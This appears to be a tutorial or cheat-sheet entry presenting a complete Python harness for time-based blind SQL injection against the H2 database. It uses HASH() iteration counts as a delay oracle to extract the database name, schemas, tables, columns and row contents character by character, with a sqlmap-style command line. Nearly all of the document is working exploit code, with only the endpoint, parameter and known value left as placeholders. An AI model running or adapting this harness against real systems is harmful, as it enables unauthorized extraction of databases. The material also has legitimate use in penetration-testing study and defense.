Time-Based Blind
H2 time-based linear harness
The oracle accepts a SQL predicate and places it inside the iteration-count argument of H2’s HASH() function. A true predicate performs DELAY hash iterations; a false predicate performs one. oracle() measures the complete HTTP response time and returns a Python Boolean according to THRESHOLD.
The remaining extraction flow matches the Boolean version: determine a count, determine the length of one value, then test each character position. Only the request and timing behavior inside oracle() is target-specific.
DELAY is an iteration count, not a number of seconds. The value must produce a repeatable gap from the target’s normal response time. 50000000 iterations produced a clear delay on H2 2.2.224; the required value depends on the target host.
import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
KNOWN_VALUE = "<KNOWN_TRUE_VALUE>"
ORDER_COLUMN = "<STABLE_ORDER_COLUMN>"
DELAY = 50000000
THRESHOLD = 1.5
parser = argparse.ArgumentParser(
description="H2 time-based blind SQL injection dumping harness.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--schemas", required=False, action="store_true", help="Dump schema names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected schema.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-S", "--schema", required=False, type=str, help="Schema name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
def oracle(s, query):
payload = f"{KNOWN_VALUE}' AND HASH('SHA-256', STRINGTOUTF8('test'), CASE WHEN ({query}) THEN {DELAY} ELSE 1 END) IS NOT NULL -- -"
data = {
"<PARAMETER>": payload
}
try:
r = s.post(url=f"{URL}/<ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not send request: {e}")
sys.exit(1)
is_true = r.elapsed.total_seconds() > THRESHOLD
return is_true
def get_count(s, query, label):
count = 0
while True:
print(f"\rBruteforcing number of {label}: {count}", end="", flush=True)
count_query = f"({query})={count}"
if oracle(s, count_query) == True:
print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
return count
count += 1
def get_length(s, query, label):
length = 0
while True:
print(f"\rBruteforcing length of {label}: {length}", end="", flush=True)
length_query = f"LENGTH(({query}))={length}"
if oracle(s, length_query) == True:
print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
return length
length += 1
def dump_value(s, query, label):
value = ""
length = get_length(s, query, label)
for pos in range(1, length + 1):
for char in CHARSET:
print(f"\rDumping {label}: {value}", end="", flush=True)
dump_query = f"ASCII(SUBSTRING(({query}),{pos},1))={ord(char)}"
if oracle(s, dump_query):
value += char
break
print(f"{Fore.GREEN}\n[+] {label}: {value}")
return value
if __name__ == "__main__":
s = requests.Session()
if args.current_db:
dump_value(s, "SELECT DATABASE()", "current database name")
if args.schemas:
schema_count = get_count(s, "SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME <> 'INFORMATION_SCHEMA'", "schemas")
for pos in range(0, schema_count):
query = f"SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME <> 'INFORMATION_SCHEMA' ORDER BY SCHEMA_NAME LIMIT 1 OFFSET {pos}"
label = f"schema number {pos}"
dump_value(s, query, label)
if args.tables:
schema = args.schema
if not schema:
print(f"[-] {Fore.RED}It is required to specify the schema to dump table names from.")
sys.exit(1)
table_count = get_count(s, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='{schema}' AND TABLE_TYPE='BASE TABLE'", "tables")
for pos in range(0, table_count):
query = f"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='{schema}' AND TABLE_TYPE='BASE TABLE' ORDER BY TABLE_NAME LIMIT 1 OFFSET {pos}"
label = f"table number {pos}"
dump_value(s, query, label)
if args.columns:
schema = args.schema
table = args.table
if not schema or not table:
print(f"[-] {Fore.RED}It is required to specify the schema and table to dump column names from.")
sys.exit(1)
column_count = get_count(s, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{schema}' AND TABLE_NAME='{table}'", "columns")
for pos in range(0, column_count):
query = f"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{schema}' AND TABLE_NAME='{table}' ORDER BY ORDINAL_POSITION LIMIT 1 OFFSET {pos}"
label = f"column number {pos}"
dump_value(s, query, label)
if args.dump:
schema = args.schema
table = args.table
columns = args.columns_to_dump
if not schema or not table or not columns:
print(f"[-] {Fore.RED}It is required to specify the schema, table, and columns to dump data from.")
sys.exit(1)
columns_list = columns.split(",")
row_count = get_count(s, f"SELECT COUNT(*) FROM {schema}.{table}", "rows")
for pos in range(0, row_count):
for column in columns_list:
query = f"SELECT CAST({column} AS VARCHAR) FROM {schema}.{table} ORDER BY {ORDER_COLUMN} LIMIT 1 OFFSET {pos}"
label = f"{table}.{column} row {pos}"
dump_value(s, query, label)The expensive work belongs in the THEN and ELSE iteration-count expression. Placing a fixed expensive HASH() call inside a CASE branch can allow constant evaluation before the condition is applied and delay both controls.
Find by: h2, time based blind sqli, hash delay, hash iterations, case when, response timing, length, substring, ascii, database, schema, information schema, limit offset, sqlmap style cli · Source: H2 2.2.224